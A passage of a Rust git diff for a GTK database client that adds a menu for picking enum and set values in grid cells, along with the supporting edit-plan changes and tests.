+            labels: (0..=CHOICE_MAX_LABELS).map(|label| label.to_string()).collect(),
+            multiple: false,
+        };
+        assert_eq!(CellEditorKind::for_cell(&grid_of_kind("e", many), Ok(())), free(false));
+        let set_with_empty = ColumnKind::Enum {
+            labels: vec!["a".to_owned(), String::new()],
+            multiple: true,
+        };
+        assert_eq!(
+            CellEditorKind::for_cell(&grid_of_kind("s", set_with_empty), Ok(())),
+            free(false),
+            "a set whose empty member cannot be read back offered a menu"
+        );
+        let labelled = grid_of_kind(
+            "e",
+            ColumnKind::Enum {
+                labels: vec!["a".to_owned()],
+                multiple: false,
+            },
+        );
+        assert_eq!(
+            CellEditorKind::for_cell(&labelled, Err(CellLock::KeyColumn)),
+            CellEditorKind::ReadOnly(CellLock::KeyColumn)
+        );
+    }
 }
diff --git a/linux/crates/app/src/ui/data_grid/edit/actions.rs b/linux/crates/app/src/ui/data_grid/edit/actions.rs
index 5571d2f97c..81cd815f35 100644
--- a/linux/crates/app/src/ui/data_grid/edit/actions.rs
+++ b/linux/crates/app/src/ui/data_grid/edit/actions.rs
@@ -61,7 +61,12 @@ pub(super) fn refresh(controller: &EditController, grid: &DataGrid, target: Opti
     let edits = !typing
         && matches!(
             kind,
-            Some(CellEditorKind::Inline { .. } | CellEditorKind::Toggle | CellEditorKind::Details(_))
+            Some(
+                CellEditorKind::Inline { .. }
+                    | CellEditorKind::Toggle
+                    | CellEditorKind::Choice
+                    | CellEditorKind::Details(_)
+            )
         );
     enable(grid, "edit", edits);
     enable(grid, "toggle", !typing && kind == Some(CellEditorKind::Toggle));
diff --git a/linux/crates/app/src/ui/data_grid/edit/cell_editor.rs b/linux/crates/app/src/ui/data_grid/edit/cell_editor.rs
index e96b245adf..b7963faaea 100644
--- a/linux/crates/app/src/ui/data_grid/edit/cell_editor.rs
+++ b/linux/crates/app/src/ui/data_grid/edit/cell_editor.rs
@@ -36,6 +36,12 @@ pub(super) struct OpenEdit {
 /// What editing a cell comes to.
 pub(super) enum Plan {
     Inline(Box<InlineStart>),
+    /// A menu of the column's labels. Typing, Tab and a new row edit its
+    /// text in place instead, where it fits a one-line editor.
+    Choice {
+        start: Box<InlineStart>,
+        in_place: bool,
+    },
     Toggle,
     /// The value is edited in the detail pane.
     Details,
@@ -45,14 +51,26 @@ pub(super) enum Plan {
 }
 
 pub(super) struct InlineStart {
-    column: GridColumn,
-    row: GridRow,
-    start: EditStart,
+    pub(super) column: GridColumn,
+    pub(super) row: GridRow,
+    pub(super) start: EditStart,
     text: String,
     accepts_line_breaks: bool,
     purpose: TextPurpose,
 }
 
+impl Plan {
+    /// Where the cell's text can be edited in place.
+    pub(super) fn in_place(self) -> Option<Box<InlineStart>> {
+        match self {
+            Self::Inline(start) | Self::Choice { start, in_place: true } => Some(start),
+            Self::Choice { in_place: false, .. } | Self::Toggle | Self::Details | Self::Refused(_) | Self::Locked => {
+                None
+            }
+        }
+    }
+}
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 enum Opened {
     /// The whole value, selected, so the first key replaces it.
@@ -123,6 +141,10 @@ impl EditController {
                 self.open_inline(&grid, cell, start, Opened::ToEdit);
                 true
             }
+            Plan::Choice { start, .. } => {
+                self.open_choice(&grid, cell, &start);
+                true
+            }
         }
     }
 
@@ -135,12 +157,13 @@ impl EditController {
             return None;
         }
         match self.plan(&grid, &cell.row()?, cell.column()) {
-            Plan::Inline(start) => Some(self.open_inline(&grid, &cell, start, Opened::ByTyping)),
             Plan::Refused(why) => {
                 grid.toast(why);
                 None
             }
-            Plan::Toggle | Plan::Details | Plan::Locked => None,
+            plan => plan
+                .in_place()
+                .map(|start| self.open_inline(&grid, &cell, start, Opened::ByTyping)),
         }
     }
 
@@ -214,6 +237,7 @@ impl EditController {
             CellEditorKind::ReadOnly(_) => return Plan::Locked,
             CellEditorKind::Toggle => return Plan::Toggle,
             CellEditorKind::Details(_) => return Plan::Details,
+            CellEditorKind::Choice => (false, TextPurpose::FreeForm),
             CellEditorKind::Inline {
                 accepts_line_breaks,
                 purpose,
@@ -226,34 +250,55 @@ impl EditController {
             CellInput::Value(value) => edit_text(value, column.value_type()),
             CellInput::Default => EditText::Editable(String::new()),
         };
-        match &text {
+        let refusal = match &text {
             EditText::ReadOnly(reason) => {
                 return Plan::Refused(edit_parse_message(&EditParseError::NotEditable(*reason)));
             }
             // A GTK editor holds text only up to a NUL, and committing it
             // would cut the value there.
             EditText::Editable(editable) if editable.contains('\0') => {
-                return Plan::Refused(gettext("Values with a NUL character can't be edited here"));
-            }
-            EditText::Editable(editable) if editable.len() > EDIT_MAX_BYTES => {
-                return Plan::Refused(too_large_to_edit());
+                Some(gettext("Values with a NUL character can't be edited here"))
             }
-            EditText::Editable(_) => {}
-        }
-        if !matches!(kind.for_text(&text), CellEditorKind::Inline { .. }) {
-            return Plan::Details;
-        }
+            EditText::Editable(editable) if editable.len() > EDIT_MAX_BYTES => Some(too_large_to_edit()),
+            EditText::Editable(_) => None,
+        };
+        let one_line = CellEditorKind::Inline {
+            accepts_line_breaks,
+            purpose,
+        };
+        let in_place = refusal.is_none() && matches!(one_line.for_text(&text), CellEditorKind::Inline { .. });
         let EditText::Editable(text) = text else {
             return Plan::Locked;
         };
-        Plan::Inline(Box::new(InlineStart {
+        let start = Box::new(InlineStart {
             column,
             row: row.clone(),
             start,
             text,
             accepts_line_breaks,
             purpose,
-        }))
+        });
+        match (kind, refusal) {
+            // The menu holds no text, so any value opens it.
+            (CellEditorKind::Choice, _) => Plan::Choice { start, in_place },
+            (_, Some(why)) => Plan::Refused(why),
+            _ if in_place => Plan::Inline(start),
+            _ => Plan::Details,
+        }
+    }
+
+    /// Edit `cell`'s text in place, as Tab and a new row do, a cell that
+    /// picks from a menu included.
+    pub(super) fn edit_in_place(&self, cell: &GridCell) {
+        let (Some(grid), Some(row)) = (self.grid.upgrade(), cell.row()) else {
+            return;
+        };
+        if self.open_in(cell).is_some() {
+            return;
+        }
+        if let Some(start) = self.plan(&grid, &row, cell.column()).in_place() {
+            self.open_inline(&grid, cell, start, Opened::ToEdit);
+        }
     }
 
     fn open_inline(&self, grid: &DataGrid, cell: &GridCell, plan: Box<InlineStart>, opened: Opened) -> gtk::Text {
@@ -476,7 +521,7 @@ impl EditController {
             shown
                 .get(at)
                 .zip(selection.item(position).and_downcast::<GridRow>())
-                .is_some_and(|(column, row)| matches!(self.plan(&grid, &row, *column), Plan::Inline(_)))
+                .is_some_and(|(column, row)| self.plan(&grid, &row, *column).in_place().is_some())
         };
         let target = next_edit_target(
             opens_inline,
@@ -490,7 +535,7 @@ impl EditController {
         match target {
             Some((position, column)) => {
                 if let Some(cell) = grid.focus_cell(position, column) {
-                    self.edit_cell(&cell);
+                    self.edit_in_place(&cell);
                 }
             }
             None => {
diff --git a/linux/crates/app/src/ui/data_grid/edit/choice_menu.rs b/linux/crates/app/src/ui/data_grid/edit/choice_menu.rs
new file mode 100644
index 0000000000..7dd4b5d4ee
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/edit/choice_menu.rs
@@ -0,0 +1,264 @@
+use std::rc::Rc;
+
+use gtk4::prelude::*;
+use gtk4::{self as gtk, gio, glib};
+use tablepro_core::Value;
+use tablepro_core::column::ColumnKind;
+use tablepro_core::edit::{CellInput, EditText, edit_text};
+
+use super::cell_editor::{InlineStart, Plan};
+use super::{EditController, edit_start};
+use crate::i18n::pgettext;
+use crate::services::grid::GridColumn;
+use crate::ui::data_grid::grid_menu::presets_section;
+use crate::ui::data_grid::selection::Target;
+use crate::ui::data_grid::{DataGrid, GridCell, PinnedRow};
+use crate::ui::menu_label;
+
+/// The prefix a choice menu's actions are inserted under.
+pub const CHOICE_ACTIONS: &str = "choice";
+
+const LABEL: &str = "label";
+
+/// MySQL lists a set's members in the column's order, apart by commas,
+/// which no member can hold.
+const SEPARATOR: char = ',';
+
+/// A cell's labels as menu items, radio items for an enum and check items
+/// for a set, with the actions they act through on the row and column
+/// they were made for.
+pub struct ChoiceMenu {
+    pub section: gio::Menu,
+    pub actions: gio::SimpleActionGroup,
+}
+
+impl EditController {
+    /// The labels the cell at `row` and `column` picks from, as it stands
+    /// now. `None` for a cell that does not pick from labels.
+    pub fn choice_menu(&self, row: &PinnedRow, column: usize) -> Option<ChoiceMenu> {
+        let grid = self.grid.upgrade()?;
+        match self.plan(&grid, row.get()?, column) {
+            Plan::Choice { start, .. } => build_menu(&grid, &start),
+            _ => None,
+        }
+    }
+
+    /// The menu of `cell`'s labels, with the presets the cell takes.
+    pub(super) fn open_choice(&self, grid: &DataGrid, cell: &GridCell, start: &InlineStart) {
+        let Some(popover) = grid.menus().and_then(|menus| menus.choices.clone()) else {
+            return;
+        };
+        let Some(menu) = build_menu(grid, start) else {
+            return;
+        };
+        let model = gio::Menu::new();
+        model.append_section(None, &menu.section);
+        model.append_section(None, &presets_section());
+        popover.insert_action_group(CHOICE_ACTIONS, Some(&menu.actions));
+        popover.set_menu_model(Some(&model));
+        // The header that names the column takes no focus.
+        popover.update_property(&[gtk::accessible::Property::Label(&start.column.name)]);
+        let pin = start.row.pin();
+        grid.hold_menu_target(Target {
+            cell: Some((pin.clone(), start.column.index)),
+            rows: vec![pin],
+        });
+        grid.refresh_actions();
+        grid.show_popover(&popover, grid.bounds_in_view(cell.upcast_ref()));
+    }
+
+    /// Write what `pick` makes of the cell's text now. Returns the text
+    /// the cell holds after it, `None` for NULL or DEFAULT. A row that left
+    /// its slot or a cell locked since takes nothing.
+    fn choose(
+        &self,
+        grid: &DataGrid,
+        row: &PinnedRow,
+        column: usize,
+        pick: impl FnOnce(Option<&str>) -> String,
+    ) -> Option<String> {
+        let row = row.get()?.clone();
+        let grid_column = self.unlocked_column(grid, &row, column)?;
+        grid.commit_editors();
+        let start = edit_start(&self.tracked(), &row, column);
+        let next = pick(chosen(&grid_column, &start.original).as_deref());
+        self.commit_input(grid, &grid_column, &start, CellInput::Value(Value::Text(next)));
+        chosen(&grid_column, &self.tracked().edit_input(&row, column))
+    }
+}
+
+fn build_menu(grid: &DataGrid, start: &InlineStart) -> Option<ChoiceMenu> {
+    let ColumnKind::Enum { labels, multiple } = &start.column.value_type().kind else {
+        return None;
+    };
+    let pin = start.row.pin();
+    let column = start.column.index;
+    let current = chosen(&start.column, &start.start.original);
+    let menu = ChoiceMenu {
+        section: gio::Menu::new(),
+        actions: gio::SimpleActionGroup::new(),
+    };
+    let labels: Rc<[String]> = labels.as_slice().into();
+    match multiple {
+        false => enum_items(&menu, grid, pin, column, labels, current.as_deref()),
+        true => set_items(&menu, grid, &pin, column, labels, current.as_deref()),
+    }
+    Some(menu)
+}
+
+/// One radio item per label, on one action whose state is the index of
+/// the label the cell holds. An index, since a GVariant string ends at a
+/// NUL and ClickHouse labels can hold one.
+fn enum_items(
+    menu: &ChoiceMenu,
+    grid: &DataGrid,
+    pin: PinnedRow,
+    column: usize,
+    labels: Rc<[String]>,
+    current: Option<&str>,
+) {
+    let action = gio::SimpleAction::new_stateful(
+        LABEL,
+        Some(Option::<u32>::static_variant_type().as_ref()),
+        &label_index(&labels, current).to_variant(),
+    );
+    let weak = grid.downgrade();
+    let picked = labels.clone();
+    action.connect_activate(move |action, parameter| {
+        let label = parameter
+            .and_then(glib::Variant::get::<Option<u32>>)
+            .flatten()
+            .and_then(|index| picked.get(usize::try_from(index).ok()?).cloned());
+        let (Some(grid), Some(label)) = (weak.upgrade(), label) else {
+            return;
+        };
+        let now = grid.edit().choose(&grid, &pin, column, |_| label);
+        action.set_state(&label_index(&picked, now.as_deref()).to_variant());
+    });
+    menu.actions.add_action(&action);
+    for (index, label) in labels.iter().enumerate() {
+        let item = gio::MenuItem::new(Some(&item_label(label)), None);
+        item.set_action_and_target_value(
+            Some(&format!("{CHOICE_ACTIONS}.{LABEL}")),
+            Some(&u32::try_from(index).ok().to_variant()),
+        );
+        menu.section.append_item(&item);
+    }
+}
+
+/// One check item per label, each on its own action, since a check item
+/// reads its state from an action without a target.
+fn set_items(
+    menu: &ChoiceMenu,
+    grid: &DataGrid,
+    pin: &PinnedRow,
+    column: usize,
+    labels: Rc<[String]>,
+    current: Option<&str>,
+) {
+    let held = members(current);
+    for (index, label) in labels.iter().enumerate() {
+        let name = format!("member-{index}");
+        let action = gio::SimpleAction::new_stateful(&name, None, &held.contains(&label.as_str()).to_variant());
+        let (weak, pin, labels) = (grid.downgrade(), pin.clone(), labels.clone());
+        action.connect_activate(move |action, _| {
+            let Some(grid) = weak.upgrade() else {
+                return;
+            };
+            let now = grid
+                .edit()
+                .choose(&grid, &pin, column, |current| toggled_member(&labels, current, index));
+            let member = labels
+                .get(index)
+                .is_some_and(|label| members(now.as_deref()).contains(&label.as_str()));
+            action.set_state(&member.to_variant());
+        });
+        menu.actions.add_action(&action);
+        let item = gio::MenuItem::new(Some(&item_label(label)), Some(&format!("{CHOICE_ACTIONS}.{name}")));
+        menu.section.append_item(&item);
+    }
+}
+
+fn label_index(labels: &[String], text: Option<&str>) -> Option<u32> {
+    let index = labels.iter().position(|label| Some(label.as_str()) == text)?;
+    u32::try_from(index).ok()
+}
+
+/// A NUL shows as U+2400, as in a cell, since GTK's text ends at one.
+fn item_label(label: &str) -> String {
+    match label.is_empty() {
+        // Translators: an enum label that is the empty string, as an item in the menu of a cell's labels.
+        true => pgettext("enum label", "Empty"),
+        false => menu_label(&label.replace('\0', "\u{2400}")),
+    }
+}
+
+/// The cell's value as text, `None` for NULL or DEFAULT.
+fn chosen(column: &GridColumn, input: &CellInput) -> Option<String> {
+    match input {
+        CellInput::Default | CellInput::Value(Value::Null) => None,
+        CellInput::Value(value) => match edit_text(value, column.value_type()) {
+            EditText::Editable(text) => Some(text),
+            EditText::ReadOnly(_) => None,
+        },
+    }
+}
+
+fn members(text: Option<&str>) -> Vec<&str> {
+    text.map_or_else(Vec::new, |text| {
+        text.split(SEPARATOR).filter(|member| !member.is_empty()).collect()
+    })
+}
+
+/// The set with `labels[index]` added or taken out: the labels in the
+/// column's order, then any member the labels do not name, as it was.
+fn toggled_member(labels: &[String], current: Option<&str>, index: usize) -> String {
+    let held = members(current);
+    let known = labels.iter().enumerate().filter(|(at, label)| {
+        let holds = held.contains(&label.as_str());
+        if *at == index { !holds } else { holds }
+    });
+    let unknown = held
+        .iter()
+        .copied()
+        .filter(|member| !labels.iter().any(|label| label == member));
+    known
+        .map(|(_, label)| label.as_str())
+        .chain(unknown)
+        .collect::<Vec<_>>()
+        .join(&SEPARATOR.to_string())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{members, toggled_member};
+
+    fn labels(names: &[&str]) -> Vec<String> {
+        names.iter().map(|name| (*name).to_owned()).collect()
+    }
+
+    #[test]
+    fn a_toggled_member_keeps_the_columns_order_and_members_it_does_not_know() {
+        let tags = labels(&["new", "sale", "gift"]);
+
+        assert_eq!(toggled_member(&tags, Some("gift"), 0), "new,gift");
+        assert_eq!(toggled_member(&tags, Some("new,gift"), 2), "new");
+        assert_eq!(
+            toggled_member(&tags, Some("new"), 0),
+            "",
+            "the last member out is the empty set"
+        );
+        assert_eq!(toggled_member(&tags, None, 1), "sale", "NULL holds no member");
+        assert_eq!(
+            toggled_member(&tags, Some("old,sale"), 0),
+            "new,sale,old",
+            "a member the labels do not name was dropped"
+        );
+        assert_eq!(
+            members(Some(" lead,x")),
+            [" lead", "x"],
+            "a member's spaces are its own"
+        );
+        assert!(members(Some("")).is_empty());
+    }
+}
diff --git a/linux/crates/app/src/ui/data_grid/edit/mod.rs b/linux/crates/app/src/ui/data_grid/edit/mod.rs
index 42fe0ad852..1e70bee0ce 100644
--- a/linux/crates/app/src/ui/data_grid/edit/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/edit/mod.rs
@@ -1,9 +1,10 @@
-//! Every change a grid makes to its rows: the inline editor, toggles,
-//! presets, new and duplicated rows, deletes, pastes, undo and redo.
+//! Every change a grid makes to its rows: the inline editor, label menus,
+//! toggles, presets, new and duplicated rows, deletes, pastes, undo and redo.
 //! Each goes through the tracker, and each delta reaches the store here.
 
 mod actions;
 mod cell_editor;
+mod choice_menu;
 mod deletion;
 mod paste;
 mod row_edits;
@@ -21,6 +22,7 @@ use libadwaita::prelude::*;
 use tablepro_core::{ColumnInfo, Value};
 
 use self::cell_editor::OpenEdit;
+pub(crate) use self::choice_menu::CHOICE_ACTIONS;
 pub(crate) use self::deletion::BULK_DELETE_CONFIRM_THRESHOLD;
 use super::selection::Resolved;
 use super::{DataGrid, EditRules, GridCell, GridRequest, GridRow, PinnedRow, RowData, TrackedValues};
diff --git a/linux/crates/app/src/ui/data_grid/edit/row_edits.rs b/linux/crates/app/src/ui/data_grid/edit/row_edits.rs
index a08ded7b72..1de5c5a0af 100644
--- a/linux/crates/app/src/ui/data_grid/edit/row_edits.rs
+++ b/linux/crates/app/src/ui/data_grid/edit/row_edits.rs
@@ -4,7 +4,6 @@ use tablepro_core::Value;
 use tablepro_core::column::{BoolStorage, ColumnKind};
 use tablepro_core::edit::{CellInput, EditParseError, new_draft_cell, parse_edit_text};
 
-use super::cell_editor::Plan;
 use super::{EditController, edit_start};
 use crate::i18n::gettext;
 use crate::services::change_tracker::RowKey;
@@ -173,9 +172,9 @@ impl EditController {
         let column = grid
             .shown_columns()
             .into_iter()
-            .find(|column| matches!(self.plan(grid, &row, *column), Plan::Inline(_)));
+            .find(|column| self.plan(grid, &row, *column).in_place().is_some());
         if let Some(cell) = column.and_then(|column| grid.focus_cell(position, column)) {
-            self.edit_cell(&cell);
+            self.edit_in_place(&cell);
         }
     }
 
diff --git a/linux/crates/app/src/ui/data_grid/edit/tests/choices.rs b/linux/crates/app/src/ui/data_grid/edit/tests/choices.rs
new file mode 100644
index 0000000000..3be79b201e
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/edit/tests/choices.rs
@@ -0,0 +1,279 @@
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{self as gtk, gdk, gio};
+use tablepro_core::Value;
+use tablepro_core::column::ColumnKind;
+use tablepro_core::edit::CellInput;
+
+use super::{editing, editor, none, pending, press_in_editor, type_into};
+use crate::test_support::{assert_labelled, descendants, drain_main_context, test_backend_records_properties};
+use crate::ui::data_grid::test_grid::{Grid, named, text};
+
+fn sizes_and_tags() -> Grid {
+    Grid::open(
+        vec![
+            named("id", "integer", true),
+            named("name", "text", false),
+            named("size", "enum('small','medium','in_stock','')", false),
+            named("tags", "set('new','sale','gift')", false),
+        ],
+        vec![vec![
+            Value::Int(1),
+            Value::Text("a".into()),
+            Value::Text("small".into()),
+            Value::Text("new".into()),
+        ]],
+    )
+}
+
+fn choices(grid: &Grid) -> gtk::PopoverMenu {
+    grid.grid
+        .menus()
+        .and_then(|menus| menus.choices.clone())
+        .expect("an editing grid has a choice menu")
+}
+
+/// The menu's item labelled `label`. A menu item is a GtkModelButton,
+/// which GTK keeps private and gives no action name.
+fn find_item(grid: &Grid, label: &str) -> Option<gtk::Widget> {
+    descendants(&choices(grid)).into_iter().find(|widget| {
+        widget.type_().name() == "GtkModelButton" && widget.property::<Option<String>>("text").as_deref() == Some(label)
+    })
+}
+
+fn item(grid: &Grid, label: &str) -> gtk::Widget {
+    find_item(grid, label).expect("the menu has the item")
+}
+
+/// GTK takes an item hidden while its action is disabled out of the menu.
+fn shown(grid: &Grid, label: &str) -> bool {
+    find_item(grid, label).is_some_and(|item| item.is_visible())
+}
+
+fn checked(item: &gtk::Widget) -> bool {
+    item.property::<bool>("active")
+}
+
+fn labels(menu: &gio::MenuModel) -> Vec<String> {
+    (0..menu.n_items())
+        .flat_map(|position| {
+            let label = menu
+                .item_attribute_value(position, "label", None)
+                .and_then(|label| label.get::<String>());
+            let inner = menu.item_link(position, "section").map(|section| labels(&section));
+            label.into_iter().chain(inner.unwrap_or_default())
+        })
+        .collect()
+}
+
+fn open_on(grid: &Grid, column: usize) {
+    let cell = grid.focus(0, column);
+    assert!(grid.grid.edit().edit_cell(&cell));
+    assert!(choices(grid).is_visible(), "the cell opened no menu");
+    assert!(editor(grid).is_none(), "the cell opened a text editor");
+}
+
+#[gtk4::test]
+fn an_enum_cell_marks_its_label_and_takes_the_one_picked() {
+    let grid = sizes_and_tags();
+    open_on(&grid, 2);
+    assert!(checked(&item(&grid, "small")), "the cell's own label is not marked");
+    assert!(!checked(&item(&grid, "medium")));
+
+    item(&grid, "medium").emit_by_name::<()>("clicked", &[]);
+    drain_main_context();
+
+    assert_eq!(pending(&grid, 1, 2), Some(text("medium")));
+    assert!(!choices(&grid).is_visible(), "a picked label left the menu open");
+    assert_eq!(
+        grid.focused_cell().map(|cell| (cell.position(), cell.column())),
+        Some((Some(0), 2)),
+        "the keyboard left the cell"
+    );
+}
+
+#[gtk4::test]
+fn labels_keep_their_underscores_and_the_empty_label_has_a_name() {
+    let grid = sizes_and_tags();
+    open_on(&grid, 2);
+    let model = choices(&grid).menu_model().expect("a menu");
+
+    assert_eq!(&labels(&model)[..4], ["small", "medium", "in__stock", "Empty"]);
+    assert!(shown(&grid, "Set to NULL"), "a nullable cell offered no NULL");
+    assert!(shown(&grid, "Set to Empty"), "the empty label is not offered as Empty");
+    assert!(!shown(&grid, "Set to DEFAULT"), "a saved row offered DEFAULT");
+    if test_backend_records_properties() {
+        assert_labelled(&choices(&grid)).expect("the menu is named after its column");
+    }
+}
+
+/// ClickHouse labels can hold a NUL, where GTK and GVariant strings end.
+#[gtk4::test]
+fn a_label_with_a_nul_is_a_choice_of_its_own() {
+    let mut state = named("state", "text", false);
+    state.column_type.kind = ColumnKind::Enum {
+        labels: vec!["x".to_owned(), "x\0y".to_owned()],
+        multiple: false,
+    };
+    let grid = Grid::open(
+        vec![named("id", "integer", true), state],
+        vec![vec![Value::Int(1), Value::Text("x".into())]],
+    );
+    open_on(&grid, 1);
+    assert!(checked(&item(&grid, "x")));
+    assert!(!checked(&item(&grid, "x\u{2400}y")));
+
+    item(&grid, "x\u{2400}y").emit_by_name::<()>("clicked", &[]);
+    drain_main_context();
+    assert_eq!(pending(&grid, 1, 1), Some(text("x\0y")));
+
+    open_on(&grid, 1);
+    assert!(
+        checked(&item(&grid, "x\u{2400}y")),
+        "a value no text editor can hold did not reopen its labels"
+    );
+}
+
+/// A value a one-line editor would mangle still opens the labels, and Tab
+/// goes past it as it goes past any cell edited elsewhere.
+#[gtk4::test]
+fn tab_passes_a_value_the_one_line_editor_cannot_hold() {
+    let grid = Grid::open(
+        vec![
+            named("id", "integer", true),
+            named("name", "text", false),
+            named("size", "enum('small','large')", false),
+            named("note", "text", false),
+        ],
+        vec![vec![
+            Value::Int(1),
+            Value::Text("a".into()),
+            Value::Text("two\nlines".into()),
+            Value::Text("n".into()),
+        ]],
+    );
+    let name = grid.focus(0, 1);
+    type_into(&grid, &name, "b");
+    assert!(press_in_editor(
+        &editor(&grid).expect("an editor"),
+        gdk::Key::Tab,
+        none()
+    ));
+    let note = editing(&grid);
+    assert_eq!(
+        note.column(),
+        3,
+        "Tab opened a one-line editor on a value with a line break"
+    );
+
+    open_on(&grid, 2);
+}
+
+/// GTK gives the focus a closed menu held to the first control an ancestor
+/// of the grid takes, below the rows.
+#[gtk4::test]
+fn the_cell_takes_the_keyboard_back_when_the_labels_close() {
+    let grid = sizes_and_tags();
+    open_on(&grid, 2);
+    gtk::prelude::GtkWindowExt::set_focus(&grid.window, None::<&gtk::Widget>);
+
+    choices(&grid).popdown();
+    drain_main_context();
+
+    assert_eq!(
+        grid.focused_cell().map(|cell| (cell.position(), cell.column())),
+        Some((Some(0), 2)),
+        "the keyboard did not come back to the cell"
+    );
+}
+
+/// Edit Cell in the cell menu opens the labels while the cell menu lets go
+/// of its target, which GTK has it do before the item runs.
+#[gtk4::test]
+fn edit_cell_from_the_cell_menu_keeps_the_labels_target() {
+    let grid = sizes_and_tags();
+    let cell = grid.focus(0, 2);
+    assert!(grid.grid.open_cell_menu(&cell, None));
+    grid.grid.menus().expect("menus").cell.popdown();
+    grid.grid.release_menu_target_soon();
+
+    grid.activate("edit");
+
+    assert!(choices(&grid).is_visible(), "Edit Cell opened no labels");
+    assert!(
+        grid.grid.imp().menu_target.borrow().is_some(),
+        "the cell menu's close let go of the labels' target"
+    );
+}
+
+#[gtk4::test]
+fn set_to_null_from_the_menu_writes_null_into_the_cell() {
+    let grid = sizes_and_tags();
+    open_on(&grid, 2);
+
+    item(&grid, "Set to NULL").emit_by_name::<()>("clicked", &[]);
+    drain_main_context();
+
+    assert_eq!(pending(&grid, 1, 2), Some(CellInput::Value(Value::Null)));
+}
+
+/// Space on a check item toggles it in place, as activating its action
+/// does, so several members change while the menu stays open.
+#[gtk4::test]
+fn set_members_toggle_one_at_a_time_in_the_columns_order() {
+    let grid = sizes_and_tags();
+    open_on(&grid, 3);
+    let menu = choices(&grid);
+    assert!(checked(&item(&grid, "new")), "the cell's member is not checked");
+    assert!(!checked(&item(&grid, "gift")));
+
+    menu.activate_action("choice.member-2", None).expect("gift");
+    drain_main_context();
+    assert_eq!(pending(&grid, 1, 3), Some(text("new,gift")));
+    assert!(checked(&item(&grid, "gift")));
+
+    menu.activate_action("choice.member-1", None).expect("sale");
+    menu.activate_action("choice.member-0", None).expect("new");
+    menu.activate_action("choice.member-2", None).expect("gift");
+    drain_main_context();
+    assert_eq!(pending(&grid, 1, 3), Some(text("sale")));
+
+    menu.activate_action("choice.member-1", None).expect("sale");
+    drain_main_context();
+    assert_eq!(
+        pending(&grid, 1, 3),
+        Some(text("")),
+        "the empty set was written as something else"
+    );
+    assert!(menu.is_visible(), "a toggled member closed the menu");
+}
+
+#[gtk4::test]
+fn a_set_cell_takes_the_empty_set_as_empty() {
+    let grid = sizes_and_tags();
+    grid.focus(0, 3);
+    grid.grid.refresh_actions();
+    assert!(grid.is_enabled("set-empty"), "a set cannot be set to the empty set");
+
+    grid.activate("set-empty");
+
+    assert_eq!(pending(&grid, 1, 3), Some(text("")));
+}
+
+#[gtk4::test]
+fn tab_and_typing_edit_an_enum_cells_text() {
+    let grid = sizes_and_tags();
+    let name = grid.focus(0, 1);
+    type_into(&grid, &name, "b");
+
+    assert!(press_in_editor(
+        &editor(&grid).expect("an editor"),
+        gdk::Key::Tab,
+        none()
+    ));
+
+    let size = editing(&grid);
+    assert_eq!((size.position(), size.column()), (Some(0), 2), "Tab skipped the enum");
+    assert_eq!(editor(&grid).expect("a text editor").text(), "small");
+    assert!(!choices(&grid).is_visible());
+}
diff --git a/linux/crates/app/src/ui/data_grid/edit/tests/mod.rs b/linux/crates/app/src/ui/data_grid/edit/tests/mod.rs
index 5ee5354047..9191e074d8 100644
--- a/linux/crates/app/src/ui/data_grid/edit/tests/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/edit/tests/mod.rs
@@ -1,3 +1,4 @@
+mod choices;
 mod paste;
 mod rows;
 
diff --git a/linux/crates/app/src/ui/data_grid/grid_menu.rs b/linux/crates/app/src/ui/data_grid/grid_menu.rs
index 5ee7b99765..0247373849 100644
--- a/linux/crates/app/src/ui/data_grid/grid_menu.rs
+++ b/linux/crates/app/src/ui/data_grid/grid_menu.rs
@@ -18,6 +18,8 @@ pub struct GridMenus {
     pub references: gio::Menu,
     /// The keys a column is in, for Ctrl+J to choose from.
     pub reference_chooser: gtk::PopoverMenu,
+    /// An enum or set cell's labels, for a grid that edits.
+    pub choices: Option<gtk::PopoverMenu>,
 }
 
 /// An item shown only while its action is enabled, so a cell it does not
@@ -32,6 +34,15 @@ fn item(label: &str, action: &str) -> gio::MenuItem {
     crate::application::menu_item(label, action)
 }
 
+/// Set to Empty, NULL or DEFAULT, each shown where the cell takes it.
+pub(crate) fn presets_section() -> gio::Menu {
+    section([
+        hidden_while_disabled(&gettext("Set to Empty"), "grid.set-empty"),
+        hidden_while_disabled(&gettext("Set to NULL"), "grid.set-null"),
+        hidden_while_disabled(&gettext("Set to DEFAULT"), "grid.set-default"),
+    ])
+}
+
 fn section(items: impl IntoIterator<Item = gio::MenuItem>) -> gio::Menu {
     let menu = gio::Menu::new();
     for item in items {
@@ -55,11 +66,13 @@ impl GridMenus {
             )
         });
         let reference_chooser = popover(grid, &gio::Menu::new());
+        let choices = editable.then(|| popover(grid, &gio::Menu::new()));
         Self {
             cell,
             empty,
             references,
             reference_chooser,
+            choices,
         }
     }
 
@@ -71,6 +84,9 @@ impl GridMenus {
             empty.unparent();
         }
         self.reference_chooser.unparent();
+        if let Some(choices) = &self.choices {
+            choices.unparent();
+        }
     }
 }
 
@@ -82,6 +98,7 @@ fn popover(grid: &DataGrid, model: &gio::Menu) -> gtk::PopoverMenu {
     let weak = grid.downgrade();
     popover.connect_closed(move |_| {
         if let Some(grid) = weak.upgrade() {
+            grid.return_focus_from_menu();
             grid.release_menu_target_soon();
         }
     });
@@ -94,15 +111,9 @@ fn cell_menu(grid: &DataGrid, references: &gio::Menu) -> gio::Menu {
     let sorts = config.is_some_and(|config| config.sorting != GridSorting::None);
     let menu = gio::Menu::new();
     if editable {
-        menu.append_section(
-            None,
-            &section([
-                hidden_while_disabled(&gettext("Edit Cell"), "grid.edit"),
-                hidden_while_disabled(&gettext("Set to Empty"), "grid.set-empty"),
-                hidden_while_disabled(&gettext("Set to NULL"), "grid.set-null"),
-                hidden_while_disabled(&gettext("Set to DEFAULT"), "grid.set-default"),
-            ]),
-        );
+        let edits = presets_section();
+        edits.prepend_item(&hidden_while_disabled(&gettext("Edit Cell"), "grid.edit"));
+        menu.append_section(None, &edits);
     }
     let copy_as = section([
         item(&gettext("Rows"), "grid.copy-rows"),
diff --git a/linux/crates/app/src/ui/data_grid/imp.rs b/linux/crates/app/src/ui/data_grid/imp.rs
index e689b876f8..9720e464cd 100644
--- a/linux/crates/app/src/ui/data_grid/imp.rs
